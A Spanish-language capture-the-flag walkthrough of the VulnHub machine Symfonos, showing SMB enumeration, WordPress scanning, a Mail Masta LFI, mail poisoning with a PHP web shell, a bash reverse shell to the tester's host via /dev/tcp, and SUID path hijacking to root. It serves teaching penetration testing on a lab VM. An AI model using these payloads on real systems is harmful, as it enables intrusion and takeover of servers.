Resumen
¡Hola! En esta oportunidad vamos a resolver la máquina de VulnHub llamada Symfonos, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:
- Reconocimiento del sistema.
- Enumeración de smb.
- Enumeración de wordpress.
- Explotación de LFI.
- Utilización de mail para RCE.
- Abuso de SUID (path hijacking).
Reconocimiento y Enumeración
Escaneamos nuestro target
1
2
sudo nmap -p- --open -sS --min-rate 2000 -n -Pn 172.26.75.241 -oG captura
Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:
1
2
3
4
5
6
7
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:E5:9A:C9 (VMware)
Realizamos un escaneo de los servicios expuestos utilizando nmap
:
1
nmap -sVC -p22,25,80,139,445 172.26.75.241 -oN ports
Como resultado del escaneo tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 ab5b45a70547a50445ca6f18bd1803c2 (RSA)
| 256 a05f400a0a1f68353ef45407619fc64a (ECDSA)
|_ 256 bc31f540bc08584bfb6617ff8412ac1d (ED25519)
25/tcp open smtp Postfix smtpd
| ssl-cert: Subject: commonName=symfonos
| Subject Alternative Name: DNS:symfonos
| Not valid before: 2019-06-29T00:29:42
|_Not valid after: 2029-06-26T00:29:42
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
|_ssl-date: TLS randomness does not represent time
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
|_nbstat: NetBIOS name: SYMFONOS, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.16-Debian)
| Computer name: symfonos
| NetBIOS computer name: SYMFONOS\x00
| Domain name: \x00
| FQDN: symfonos
|_ System time: 2023-06-15T22:37:55-05:00
| smb2-time:
| date: 2023-06-16T03:37:55
|_ start_date: N/A
Bien, observamos varios servicios. En primer lugar, vamos a ver qué encontramos para los puertos 445 y 139, para ello usamos crackmapexec
:
1
2
3
crackmapexec smb 172.26.75.241
SMB 172.26.75.241 445 SYMFONOS [*] Windows 6.1 (name:SYMFONOS) (domain:) (signing:False) (SMBv1:True)
Vamos a enumerar si existen shares en los que tengamos privilegios de lectura, vamos a usar smbmap
para ello:
1
2
3
4
5
6
7
8
9
10
smbmap -H 172.26.75.241
[+] Guest session IP: 172.26.75.241:445 Name: symfonos.mshome.net
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
helios NO ACCESS Helios personal share
anonymous READ ONLY
IPC$ NO ACCESS IPC Service (Samba 4.5.16-Debian)
Observamos que existe 1 share en el que tenemos permiso, anonymous, además, podemos ver que existe un usuario llamado helios.
Nos conectamos con smbclient
:
1
2
3
4
5
6
7
8
smbclient //172.26.75.241/anonymous
Password for [WORKGROUP\grafis]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jun 28 21:14:49 2019
.. D 0 Fri Jun 28 21:12:15 2019
attention.txt N 154 Fri Jun 28 21:14:49 2019
Vemos que existe un recurso llamado attention.txt vamos a descargarlo utilizando get y vamos a leerlo:
1
2
3
4
5
6
7
8
9
10
11
12
cat attention.txt
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: attention.txt
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
3 │
4 │ Next person I find using one of these passwords will be fired!
5 │
6 │ -Zeus
Tenemos un mensaje nos dice que los usuarios están utilizando contraseñas débiles como epidioko, qwerty y baseball, como ya sabemos que existe el usuario helios vamos a intentar entrar a su recurso compartido:
1
2
3
4
5
6
7
8
9
10
11
smbclient //172.26.75.241/helios -U 'helios'
Password for [WORKGROUP\helios]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jun 28 20:32:05 2019
.. D 0 Wed Jun 7 21:18:26 2023
research.txt A 432 Fri Jun 28 20:32:05 2019
todo.txt A 52 Fri Jun 28 20:32:05 2019
19994224 blocks of size 1024. 16354340 blocks available
smb: \>
Entramos utilizando la contraseña qwerty.
Vamos a descargar los 2 archivos que encontramos para leerlos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat research.txt
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: research.txt
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot which brought the Sun across the skies each day fr
│ om the east (Ethiopia) to the west (Hesperides) while at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famous
│ ly the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of the Ancient World.
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ cat todo.txt
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: todo.txt
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ 1. Binge watch Dexter
3 │ 2. Dance
4 │ 3. Work on /h3l105
Vemos que la primera es una descripción y el segundo parece ser un directorio. Sabemos que también tiene el puerto 80 abierto con un servicio http, asi que vamos a utilizar la herramienta whatweb
para enumerar información:
1
2
3
whatweb http://172.26.75.241
http://172.26.75.241 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[172.26.75.241]
No vemos mucho, vamos a inspeccionar la página:
Vemos una imagen, antes de realizar fuzzing vamos a ver si realmente /h3l105 es un directorio (hay que agregar symfonos.local al /etc/hosts):
Efectivamente, corresponde a un sitio en wordpress. Vamos a enumerar información utilizando wpscan
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
wpscan --url http://symfonos.local/h3l105 --enumerate t,u,p
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
Vamos a enumerar usuarios, plugins y temas.
Del escaneo podemos sacar la siguiente información relevante:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
[i] Plugin(s) Identified:
[+] mail-masta
| Location: http://symfonos.local/h3l105/wp-content/plugins/mail-masta/
| Latest Version: 1.0 (up to date)
| Last Updated: 2014-09-19T07:52:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://symfonos.local/h3l105/wp-content/plugins/mail-masta/readme.txt
[+] site-editor
| Location: http://symfonos.local/h3l105/wp-content/plugins/site-editor/
| Latest Version: 1.1.1 (up to date)
| Last Updated: 2017-05-02T23:34:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.1.1 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://symfonos.local/h3l105/wp-content/plugins/site-editor/readme.txt
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://symfonos.local/h3l105/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Explotación
Vemos que ha identificado algunos plugins y un usuario. Vamos a ver si los plugins utilizados tienen alguna vulnerabilidad:
1
2
3
4
5
6
7
searchsploit mail masta
--------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
WordPress Plugin Mail Masta 1.0 - Local File Inclusion | php/webapps/40290.txt
WordPress Plugin Mail Masta 1.0 - Local File Inclusion (2) | php/webapps/50226.py
WordPress Plugin Mail Masta 1.0 - SQL Injection | php/webapps/41438.txt
Vemos que existen, vamos a ver los del Local FIle Inclusion, si hacemos searchsploit -x php/webapps/40290.txt
nos mostrará el txt, si nos vamos al final tenemos:
1
2
3
4
Typical proof-of-concept would be to load passwd file:
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
Al parecer count_of_send.php tiene un LFI en el parámetro pl, vamos a ver si esto se acontece:
Tenemos el LFI, esto es interesante porque hay un servicio que aún no hemos auditado, el smtp, normalmente los servicios de correo tiene un path específico para el usuario, sabemos que existe usuario helios, vamos a intentar ver si podemos leer sus correos:
Podemos ver sus mail, y el contenido se ve en la página de wordpress, esto es muy interesante, porque si somos capaces de enviar un correo a helios con instrucciones php maliciosas, el servidor va a interpretar dicho código, por lo tanto, podríamos acontecer un RCE, vamos a enviar un mail:
1
2
3
nc 172.26.75.241 25
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
Debemos definir quién envía el correo, para quien se envía y la data, vamos a probar:
1
2
3
4
5
6
7
8
9
10
11
12
13
nc 172.26.75.241 25
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
MAIL FROM: grafis
250 2.1.0 Ok
RCPT TO: helios
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
Probando
.
250 2.0.0 Ok: queued as 4F7C4406D7
Veamos la web:
Todo perfecto, vamos a enviar código php malicioso:
1
2
3
4
5
6
7
8
9
10
11
12
13
nc 172.26.75.241 25
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
MAIL FROM: grafis
250 2.1.0 Ok
RCPT TO: helios
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; ?>
.
250 2.0.0 Ok: queued as 41C10406D7
Si vemos la web, no veremos nada, eso indica que nos debe estar interpretando el código, por lo tanto, vamos a intentar indicarle un valor para la variable cmd, en este caso debemos utilizar el operador &:
1
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/spool/mail/helios&cmd=id
Efectivamente, tenemos RCE, vamos a ganar acceso a la máquina:
1
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/spool/mail/helios&cmd=bash -c 'bash -i >%26 /dev/tcp/172.26.70.49/1234 0>%261'
Enviamos y vamos a nuestro listener:
1
2
3
4
5
6
7
8
nc -nvlp 1234
listening on [any] 1234 ...
connect to [172.26.70.49] from (UNKNOWN) [172.26.75.241] 47020
bash: cannot set terminal process group (613): Inappropriate ioctl for device
bash: no job control in this shell
<h3l105/wp-content/plugins/mail-masta/inc/campaign$ whoami
whoami
helios
Bien, hemos ganado acceso a la máquina, vamos a hacer un tratamiento de la tty.
Escalada de privilegios
Con eso listo, vamos a enumerar el sistema para encontrar algo de interés:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
helios@symfonos:/home/helios$ find / -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck
/bin/mount
/bin/umount
/bin/su
/bin/ping
Si buscamos por SUID, encontramos algo que nos llama la atención, /opt/statuscheck, vamos a ver que es:
1
2
3
4
5
6
7
8
9
10
11
helios@symfonos:/home/helios$ /opt/statuscheck
HTTP/1.1 200 OK
Date: Fri, 16 Jun 2023 04:30:38 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Sat, 29 Jun 2019 00:38:05 GMT
ETag: "148-58c6b9bb3bc5b"
Accept-Ranges: bytes
Content-Length: 328
Vary: Accept-Encoding
Content-Type: text/html
Vemos una respuesta de un servidor http, esto debe estar haciendolo utilizando una herramienta, vamos a listar los strings de este binario:
1
2
3
4
5
6
7
8
9
10
11
12
helios@symfonos:/home/helios$ strings /opt/statuscheck
/lib64/ld-linux-x86-64.so.2
libc.so.6
system
__cxa_finalize
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5
curl -I H
Vemos que está utilizando curl
para tramitar las peticiones a la web, lo curioso es que este archivo es SUID y está utilizando curl
con su nombre relativo, por lo tanto, podríamos intentar hacer un path hijaking para elevar nuestro privilegio:
1
2
3
4
5
6
helios@symfonos:/tmp$ nano curl
helios@symfonos:/tmp$ chmod 777 curl
helios@symfonos:/tmp$ ls
curl
helios@symfonos:/tmp$ cat curl
bash -p
Nos vamos al directorio tmp y creamos un archivo llamado curl que nos dará una consola con privilegios si se ejecuta. Vamos a cambiar nuestro PATH para que busque primero en el directorio tmp:
1
helios@symfonos:/tmp$ export PATH=/tmp:$PATH
Ejecutamos:
1
2
3
helios@symfonos:/tmp$ /opt/statuscheck
bash-4.4# whoami
root
Hemos ganado acceso como root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
bash-4.4# cat proof.txt
Congrats on rooting symfonos:1!
\ __
--==/////////////[})))==*
/ \ ' ,|
`\`\ //| ,|
\ `\ //,/' -~ |
) _-~~~\ |/ / |'| _-~ / ,
(( /' ) | \ / /'/ _-~ _/_-~|
((( ; /` ' )/ /'' _ -~ _-~ ,/'
) )) `~~\ `\\/'/|' __--~~__--\ _-~ _/,
((( )) / ~~ \ /~ __--~~ --~~ __/~ _-~ /
((\~\ | ) | ' / __--~~ \-~~ _-~
`\(\ __--( _/ |'\ / --~~ __--~' _-~ ~|
( ((~~ __-~ \~\ / ___---~~ ~~\~~__--~
~~\~~~~~~ `\-~ \~\ / __--~~~'~~/
;\ __.-~ ~-/ ~~~~~__\__---~~ _..--._
;;;;;;;;' / ---~~~/_.-----.-~ _.._ ~\
;;;;;;;' / ----~~/ `\,~ `\ \
;;;;' ( ---~~/ `:::| `\\.
|' _ `----~~~~' / `:| ()))),
______/\/~ | / / (((((())
/~;;.____/;;' / ___.---( `;;;/ )))'`))
/ // _;______;'------~~~~~ |;;/\ / (( (
// \ \ / | \;;,\ `
(<_ \ \ /',/-----' _>
\_| \\_ //~;~~~~~~~~~
\_| (,~~
\~\
~~
Contact me via Twitter @zayotic to give feedback!
¡Listo! Hemos terminado la intrusión.
Nos vemos, hasta la próxima.